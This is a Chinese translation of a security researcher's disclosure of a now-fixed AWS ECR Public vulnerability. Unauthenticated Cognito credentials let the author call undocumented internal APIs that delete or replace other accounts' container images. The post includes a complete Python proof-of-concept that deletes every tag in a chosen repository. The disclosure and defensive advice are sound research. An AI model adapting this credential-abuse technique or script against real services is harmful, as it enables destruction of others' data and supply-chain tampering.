执行摘要
我发现了一个严重的 AWS Elastic Container Registry Public (ECR Public) 漏洞,该漏洞允许外部参与者通过滥用未记录的内部 ECR Public 在属于其他 AWS 账户的注册表和存储库中删除、更新和创建 ECR Public 图像、层和标签API 操作。在缓解之前,此漏洞可能会导致拒绝服务、数据泄露、横向移动、特权升级、数据破坏和其他仅受对手的狡猾和目标限制的多变攻击路径。
通过利用此漏洞,恶意行为者可以删除Amazon ECR Public Gallery 中的所有图像或更新图像内容以注入恶意代码。这种恶意代码会在任何拉取和运行镜像的机器上执行,无论是在用户的本地机器、Kubernetes 集群还是云环境中。利用此漏洞,攻击者可以感染流行的图像,例如CloudWatch 代理、Datadog 代理、EKS Distro、Amazon Linux和Nginx,同时滥用 ECR Public 的信任模型,因为这些图像会伪装成经过验证,从而破坏 ECR Public 供应链。ECR Public Gallery 上最受欢迎(按下载量计算)的前六张图片加在一起的下载量约为130 亿次,ECR Public 上还存储了数千张图片。
此漏洞已报告给 AWS 安全外展团队,该团队立即做出响应并与 ECR Public 团队合作,在不到 24 小时内修复了该漏洞。AWS 对日志进行了分析,并确认他们发现与该问题相关的唯一活动是在我的研究账户之间进行的。无需客户采取任何措施来解决问题。
AWS 安全公告:https ://aws.amazon.com/security/security-bulletins/AWS-2022-010/
时间线
2022 年 11 月 15 日:该漏洞已报告给 AWS Security。AWS Security Outreach 和 ECR Public 团队验证了漏洞并开始部署修复程序。
2022 年 11 月 16 日:修复已成功部署。
2022 年 12 月 13 日:与 AWS 协调披露。
探索 Amazon ECR 公共库
Amazon ECR Public Gallery是一个公共门户,其中列出了托管在 Amazon ECR Public 服务上的所有公共存储库。流行的公司、项目和服务,例如 NGINX、Ubuntu、Amazon Linux 和 HashiCorp Consul,在图库中发布它们的图像以供公众消费和使用。
每个 AWS 账户都提供一个默认的 Amazon ECR 公共注册表,该注册表带有一个唯一的默认别名。AWS 允许客户为其注册表设置自定义别名,以创建有意义的公共注册表名称。例如,在我的账户中,Amazon ECR 公共注册表的默认别名是w8r5q5v0,我分配了一个自定义别名gafresearch,如下面的屏幕截图所示。
在 AWS 账户中创建的任何 ECR 公共存储库都分配给该账户的默认 Amazon ECR 公共注册表。每当创建新的 ECR 公共存储库时,它都会自动在 Amazon ECR 公共库 Web 应用程序上进行镜像,并包含其所有详细信息。我决定创建一个新的公共存储库“ gafpubrep ”,其中包含一个简单的 Docker 映像,以便更好地了解它在 Amazon ECR 公共库中的呈现方式。我的存储库 URI 是public.ecr.aws/w8r5q5v0/gafpubrep,我已经将带有“最新”标签的图像推送到它,如下面的屏幕截图所示。
该存储库还可以在 Amazon ECR 公共库中找到,网址为https://gallery.ecr.aws/w8r5q5v0/gafpubrep,如下面的屏幕截图所示。
访问 Amazon ECR 公共库中的存储库“ gafpubrep ”时,将在后台发送以下 HTTP POST 请求,如下面的屏幕截图所示。
请注意,X-Amz-Target HTTP 标头的值为SpencerFrontendService.DescribeImageTagsInternal。ECR Public 具有可用的DescribeImageTags API 操作,但“ Internal ”后缀很奇怪,因为端点本身不是内部的。此外,SpencerFrontendService服务不为人所知,没有谷歌结果或公开提及可能表示内部 AWS 服务或 ECR 公共服务的旧代号。此外,对于来自 Amazon ECR 控制台的请求,在X-Amz-Target HTTP标头中再次引用了SpencerFrontendService。该请求还使用 AWS SigV4进行了身份验证 和临时凭证,这可能不是我的 AWS 控制台凭证,因为 Amazon ECR Public Gallery 应用程序不请求登录。
我在 Amazon ECR Public Gallery主 JavaScript 文件中搜索了更多内部操作,发现了 12 个带有内部后缀的操作。对于每个操作,我都在 ECR 和 ECR 公共 API 文档中搜索了匹配的 API 操作。下表显示了此映射的结果。
由于 Amazon ECR Public Gallery 仅提供公共存储库详细信息,因此我希望只看到 ECR Public API 操作,但事实并非如此。内部行动包括 3次ECR 公开行动、2 次 ECR 行动和 7 次公开未记录的行动。为了更好地理解这些动作,我映射了它们的触发器以了解是什么促使动作发生。简单地说,我捕获了 Amazon ECR 公共库 UI、Amazon ECR 控制台或 Docker CLI 命令中的哪些操作导致了它们。下表显示了该实验的结果。
作名称 | 触发器 |
获取注册表目录数据内部 |
|
GetRepositoryCatalogDataInternal |
|
DescribeImageTags内部 |
|
BatchGetImageInternal |
|
GetDownloadUrlForLayerInternal |
|
搜索存储库目录数据内部 |
|
DescribeRepositoryCatalogData内部 |
|
DeleteImageForConvergentReplicationInternal | |
DeleteTagForConvergentReplicationInternal | |
PutImageForConvergentReplicationInternal | |
PutLayerForConvergentReplicationInternal | |
PutRegistryAliasInternal |
|
从上表中可以看出,ECR 公共 API 操作是从 Amazon ECR 公共库应用程序触发的,以获取公共存储库的详细信息。BatchGetImageInternal和GetDownloadUrlForLayerInternal这两个 ECR API 操作由 Docker 客户端触发以支持公共拉取操作。当在 AWS ECR 控制台中设置自定义注册表别名请求时,将触发未记录的 API 操作PutRegistryAliasInternal 。然后我们留下了 4 个未记录的内部API 操作,我找不到它们的触发器:DeleteImageForConvergentReplicationInternal、DeleteTagForConvergentReplicationInternal、PutImageForConvergentReplicationInternal和PutLayerForConvergentReplicationInternal。
下图总结了所有观察到的与 ECR 公共内部 API 的交互。
该图包括内部ECR 公共 API 的所有 3 个可选触发器:Docker 客户端、AWS ECR 控制台和 Amazon ECR 公共库 UI。使用 Docker 客户端观察到的相同流程可以使用 docker manifest inspect命令触发BatchGetImageInternal操作。
激活未记录的内部操作
我想手动调用内部操作有两个主要原因:
操纵请求、测试它并篡改它的参数。
调用我没有找到触发器的四个未记录的操作。
关于四个未记录的操作,这些操作是最有趣的,因为它们不是“只读”的,并且(可能)允许我从我不拥有的 ECR 公共注册表及其相关存储库中放置或删除图像。
我从DescribeImageTags 操作开始,因为我已经知道它的请求结构。我首先尝试在没有任何身份验证的情况下发送请求,并收到“缺少身份验证令牌”错误。然后,我尝试使用我的 AWS 凭证来签署请求并收到“拒绝访问”错误,如下面的屏幕截图所示。
我意识到我必须拦截并使用特定的身份凭证,Amazon ECR 公共库也使用这些凭证作为之前观察到的原始 SigV4 流的一部分。
Amazon ECR 公共库身份验证
回到来自 SigV4 签名请求的凭据,让我们尝试找出它们属于谁以及它们可以做什么。在研究内部API 操作期间,我认识到来自 Amazon ECR Public Gallery 应用程序的所有请求都经过身份验证。X-Amz-Security-Token标头暗示这些是某些 AWS IAM 角色的临时凭证。我搜索了AccessKeyId值以找到接受这些临时凭证的原始请求。我观察到的请求显示在下面的屏幕截图中。
这是对Amazon Cognito GetCredentialsForIdentity API 操作的请求,以获取临时的、有限权限的凭证以访问其他 AWS 服务。Cognito 是一项 AWS 服务,可为 Web、移动和特定 AWS 服务和应用程序提供身份验证、授权和用户管理。请注意,GetCredentialsForIdentity操作是一个公共 API,调用此 API 不需要凭据。您可以在此处阅读有关 Amazon Cognito 身份池身份验证流程的更多细节。
我可以使用这些临时凭证来签署对其他 AWS 服务 API 的请求,包括 Cognito 和 ECR Public。然后,我尝试使用该身份的临时凭证访问另一个 Amazon Cognito API DescribeIdentity,如下面的屏幕截图所示。
从上面的错误中,您可以看到临时凭证属于SpencerPortalCognitoInfra-SpencerCognitoUnAuthRole-103M4HZ3UDLSZ AWS IAM 角色,位于标识符为 421354852932 的内部 AWS 账户中,可能用于托管 ECR 公共内部服务的一部分。
下图从理论上演示了我认为 Amazon ECR Public Gallery UI 如何获取SpencerPortalCognitoInfra-SpencerCognitoUnAuthRole角色的临时凭证,以验证和授权对 ECR Public内部API 的请求。
现在我知道如何使用SpencerPortalCognitoInfra身份针对 ECR 公共内部 API 进行身份验证,我可以调用之前的DescribeImageTags操作。下面的屏幕截图演示了成功的 API 请求。
现在我已经成功调用了一个内部操作,我可以使用类似的技术来调用其他操作,重点关注那些允许我从 ECR 公共注册表及其关联的存储库中放置或删除图像的技术,这些存储库不是我所有的。
利用概念证明:删除图像标签
在此概念验证 (POC) 中,我将重点关注DeleteTagForConvergentReplicationInternal API 操作,但此 POC 的方法可以针对DeleteImageForConvergentReplicationInternal、PutImageForConvergentReplicationInternal、PutLayerForConvergentReplicationInternal和所有其他 API 操作执行。
由于DeleteTagForConvergentReplicationInternal操作未记录,我需要发现请求结构。当我尝试发送带有空主体的请求时,我收到一条错误消息,指出需要“ imageTagEntity ”参数,如下面的屏幕截图所示。
我返回到 Amazon ECR Public Gallery主 JavaScript 文件并搜索“ DeleteTagForConvergentReplicationInternal ”字符串。这使我想到了一个描述操作的预期输入和输出的 JSON 结构。下图突出显示了这种结构。
输入确实是具有形状“ S2j ”结构的“ imageTagEntity ”对象。下图显示了形状“ S2j ”的结构,其中包含entityId、repositoryEntityId、imageManifestEntityId、tag、createdAt、updatedAt和deletedAt字段。
请注意,所有字段都是原子类型而不是结构。它们的类型是字符串(空表示字符串)或时间戳。在其他结构中也有int(integer) 或long类型。查找字段的值需要反复试验以及组合来自其他操作结果的值。最后,我有了完整的流程来获取所有必需的详细信息。让我们使用我的测试公共存储库https://gallery.ecr.aws/w8r5q5v0/gafpubrep,其中包含带有“ latest ”标签的示例图像public.ecr.aws/w8r5q5v0/gafpubrep:latest作为示例。
entityId——一个随机的 UUID V4。
tag——我们要删除的标签名称——在我的例子中是“latest” 。
repositoryEntityId和imageManifestEntityId – 要获取这些值,我们需要使用GetDownloadUrlForLayerInternal操作。此操作返回一个 URL,您可以从中下载图层的内容。如果我们请求清单的下载 URL,返回的 URL 将包括repositoryEntityId和imageManifestEntityId的 UUID 。但是,要请求清单的下载 URL,我们需要知道它的摘要。我们可以从BatchGetImageInternal响应中获取清单的摘要。但是,BatchGetImageInternal需要图像摘要,我们可以从DescribeImageTagsInternal响应中获取它。把它们放在一起,这就是流程。
1. 向DescribeImageTagsInternal发送请求——使用目标registry别名和repository名称分别设置registryAliasName和repositoryName参数的值,如下所示。
2.为后续步骤保存imageDigest和createdAt的值。3. 向BatchGetImageInternal发送请求– 使用之前的注册表别名、存储库名称、图像标签和imageDigest分别设置registryAliasName 、repositoryName 、imageTag和imageDigest参数的值。
4. 将响应中的清单摘要值保存在images[0].imageManifest.config.digest(将 imageManifest 解析为 JSON)。
5. 向GetDownloadUrlForLayerInternal发送请求——使用之前的注册表别名、存储库名称和清单摘要分别设置registryAliasName、repositoryName和layerDigest参数的值。
6.从响应中的downloadUrl中提取repositoryEntityId和imageManifestEntityId的 UUID: https://xxxx.cloudfront.net/xxxxxx-<account_id>-<repositoryEntityId>/<imageManifestEntityId>?...
createdAt、updatedAt和deletedAt – 使用从DescribeImageTagsInternal响应中保存的 createdAt 值。
现在我们有了完整的请求正文,我们可以将请求发送到DeleteTagForConvergentReplicationInternal API 操作,如下所示。
当我们刷新 Amazon ECR 公共库中的gafpubrep存储库页面https://gallery.ecr.aws/w8r5q5v0/gafpubrep时,我们可以看到所有图像都已删除,如下面的屏幕截图所示。
此外,当我登录到我的个人 AWS ECR 控制台时,我可以看到标签也在那里被删除,如下面的屏幕截图所示。
下面提供的 Python 脚本执行上述所有步骤以激活DeleteTagForConvergentReplicationInternal API 操作。
import datetime
import hashlib
import hmac
import sys
import json
import re
import uuid
import requests
import boto3
# Set this value to the target registry alias
registry_alias_name = 'w8r5q5v0'
# Set this value to the target repository name
repository_name = 'gafpubrep'
DESCRIBE_REPOSITORY_CATALOG_DATA = 'SpencerFrontendService.DescribeRepositoryCatalogDataInternal'
DESCRIBE_IMAGE_TAGS = 'SpencerFrontendService.DescribeImageTagsInternal'
BATCH_GET_IMAGE = 'SpencerFrontendService.BatchGetImageInternal'
GET_DOWNLOAD_URL_FOR_LAYER = 'SpencerFrontendService.GetDownloadUrlForLayerInternal'
DELETE_TAG_FOR_CONVERGENT_REPLICATION = 'SpencerFrontendService.DeleteTagForConvergentReplicationInternal'
access_key_id = ''
secret_key = ''
session_token = ''
def init_spencer_creds():
"""
Uses Amazon Cognito GetCredentialsForIdentity to get temporary credentials for
SpencerPortalCognitoInfra-SpencerCognitoUnAuthRole Role. I'm using
GetCredentialsForIdentity with an IdentityId I
have already issued so as not to overflow the IdentityPool with new GetId each
time.
:return: temporary credentials for SpencerPortalCognitoInfra-
SpencerCognitoUnAuthRole Role.
"""
client = boto3.client('cognito-identity')
response = client.get_credentials_for_identity(
IdentityId='us-east-1:4efdd100-5f28-4444-9dc6-8b201cfef87a'
)
if not response["Credentials"]:
print("Error while getting temporary credentials.")
sys.exit(1)
global access_key_id, secret_key, session_token
access_key_id = response["Credentials"]["AccessKeyId"]
secret_key = response["Credentials"]["SecretKey"]
session_token = response["Credentials"]["SessionToken"]
def sign(key, msg):
return hmac.new(key, msg.encode("utf-8"), hashlib.sha256).digest()
def getSignatureKey(key, date_stamp, regionName, serviceName):
kDate = sign(('AWS4' + key).encode('utf-8'), date_stamp)
kRegion = sign(kDate, regionName)
kService = sign(kRegion, serviceName)
kSigning = sign(kService, 'aws4_request')
return kSigning
def send_request(request_parameters, amz_target):
method = 'POST'
service = 'ecr-public'
host = 'ecr-public.us-east-1.amazonaws.com'
region = 'us-east-1'
endpoint = 'https://ecr-public.us-east-1.amazonaws.com'
content_type = 'application/x-amz-json-1.1'
t = datetime.datetime.utcnow()
amz_date = t.strftime('%Y%m%dT%H%M%SZ')
date_stamp = t.strftime('%Y%m%d')
canonical_uri = '/'
canonical_querystring = ''
canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' + 'x-amz-target:' + amz_target + '\n'
signed_headers = 'content-type;host;x-amz-date;x-amz-target'
payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest()
# Create canonical request
canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash
# Create string to sign
algorithm = 'AWS4-HMAC-SHA256'
credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request'
string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(
canonical_request.encode('utf-8')).hexdigest()
signing_key = getSignatureKey(secret_key, date_stamp, region, service)
signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest()
authorization_header = algorithm + ' ' + 'Credential=' + access_key_id + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature
headers = {'Content-Type': content_type,
'X-Amz-Date': amz_date,
'X-Amz-Target': amz_target,
'X-Amz-Security-Token': session_token,
'Authorization': authorization_header}
response = requests.post(endpoint, data=request_parameters, headers=headers)
return response.json()
def describe_repository_catalog_data(registry_alias_name):
request_parameters = '{"' \
f'registryAliasName": "{registry_alias_name}"' \
'}'
return send_request(request_parameters, amz_target=DESCRIBE_REPOSITORY_CATALOG_DATA)
def describe_image_tags(registry_alias_name, repository_name):
request_parameters = '{"' \
f'registryAliasName": "{registry_alias_name}", ' \
f'"repositoryName": "{repository_name}"' \
'}'
return send_request(request_parameters, amz_target=DESCRIBE_IMAGE_TAGS)
def batch_get_image(registry_alias_name, repository_name, image_digest, image_tag):
request_parameters = '{"' \
f'registryAliasName": "{registry_alias_name}", ' \
f'"repositoryName": "{repository_name}", ' \
'"imageIds": [{' \
f'"imageDigest":"{image_digest}", ' \
f'"imageTag":"{image_tag}"' \
'}]' \
'}'
return send_request(request_parameters, amz_target=BATCH_GET_IMAGE)
def get_download_url_for_layer(registry_alias_name, repository_name, layer_digest):
request_parameters = '{"' \
f'registryAliasName": "{registry_alias_name}", ' \
f'"repositoryName": "{repository_name}", ' \
f'"layerDigest":"{layer_digest}"' \
'}'
return send_request(request_parameters, amz_target=GET_DOWNLOAD_URL_FOR_LAYER)
def delete_tag_for_convergent_replication(repository_entity_id, image_manifest_entity_id, tag, created_at, updated_at,
deleted_at):
random_uuid = uuid.uuid4()
request_parameters = '{' \
'"imageTagEntity": {' \
f'\"entityId\":\"{random_uuid}\", ' \
f'\"repositoryEntityId\":\"{repository_entity_id}\", ' \
f'\"imageManifestEntityId\":\"{image_manifest_entity_id}\", ' \
f'\"tag\":\"{tag}\", ' \
f'\"createdAt\":{created_at}, ' \
f'\"updatedAt\":{updated_at}, ' \
f'\"deletedAt\":{deleted_at}' \
'}' \
'}'
return send_request(request_parameters, amz_target=DELETE_TAG_FOR_CONVERGENT_REPLICATION)
def get_repositories(registry_alias_name):
response = describe_repository_catalog_data(registry_alias_name)
repositories_list = []
for r in response["repositories"]:
repositories_list.append(r["repositoryName"])
return repositories_list
def get_image_tags_details(registry_alias_name, repository_name):
response = describe_image_tags(registry_alias_name, repository_name)
return response["imageTagDetails"]
def delete_tag(registry_alias_name, repository_name, image_digest, image_tag, image_created_at):
response = batch_get_image(registry_alias_name, repository_name, image_digest, image_tag)
image_manifest = json.loads(response["images"][0]["imageManifest"])
image_manifest_digest = image_manifest["config"]["digest"]
response = get_download_url_for_layer(registry_alias_name, repository_name, image_manifest_digest)
download_url = response["downloadUrl"]
z = re.match(
r'https:\/\/[^\/]+\/[0-9a-fA-F]{6}-\d+-([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})\/([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}).*',
download_url)
if z:
repository_entity_id = z.group(1)
image_manifest_entity_id = z.group(2)
delete_tag_for_convergent_replication(repository_entity_id, image_manifest_entity_id, image_tag,
created_at=image_created_at, updated_at=image_created_at,
deleted_at=image_created_at)
init_spencer_creds()
# You can use SearchRepositoryCatalogDataInternal to get a list of all registries.
# You can loop over all repositories in the registry
# repositories_list = get_repositories(registry_alias_name)
image_tags_details_list = get_image_tags_details(registry_alias_name, repository_name)
for tag in image_tags_details_list:
image_digest = tag["imageDetail"]["imageDigest"]
image_tag = tag["imageTag"]
image_created_at = tag["createdAt"]
print(f"Deleting public.ecr.aws/{registry_alias_name}/{repository_name}:{image_tag}")
delete_tag(registry_alias_name, repository_name, image_digest, image_tag, image_created_at)
print("Done.")
结论
供应链攻击难以检测和预防。软件供应链是与软件开发生命周期交互的任何人、过程或技术:这可以是个体开发人员、软件包、中间件、固件、硬件、源代码、持续集成 (CI) 系统等。鉴于软件供应链的广度和深度,这使得覆盖所有领域变得异常困难。
虽然 SolarWinds 并不是 2019 年唯一的目标技术,但供应链攻击规避了信任,并且可以以多种方式出现,这就是它具有如此潜在破坏性的原因。就此 ECR Public 漏洞而言,它是深度软件供应链攻击的典型示例。对手可以像我一样,删除或推送新图像,这些图像将显示为属于 Amazon、Canonical 和其他受欢迎的公司和提供商的经过验证的注册表。很难准确猜测会发生什么,但从破坏和渗透到持久性和横向移动,几乎任何目标都可以在容器化环境中执行。
为了进一步了解此漏洞的潜在影响,仅 ECR Public Gallery 上最流行(按下载量)的前六张图像加在一起就获得了大约 130亿次下载,ECR Public 上还存储了数千张图像。对 Lightspin 客户的分析表明,26% 的 Kubernetes 集群至少有一个从 public.ecr.aws 拉取图像的 Pod。
软件供应链攻击仍然难以实施,但安全团队可以实施一些实践来更好地保护他们的软件供应链。每当依赖第三方时,始终验证工件的摘要和签名。持续使用静态代码分析、容器漏洞管理和层探索工具来检查图像是否存在负面变化。始终对图像使用最少必要数量的依赖项和身份许可,以避免横向移动。
本文翻译自:https://blog.lightspin.io/aws-ecr-public-vulnerability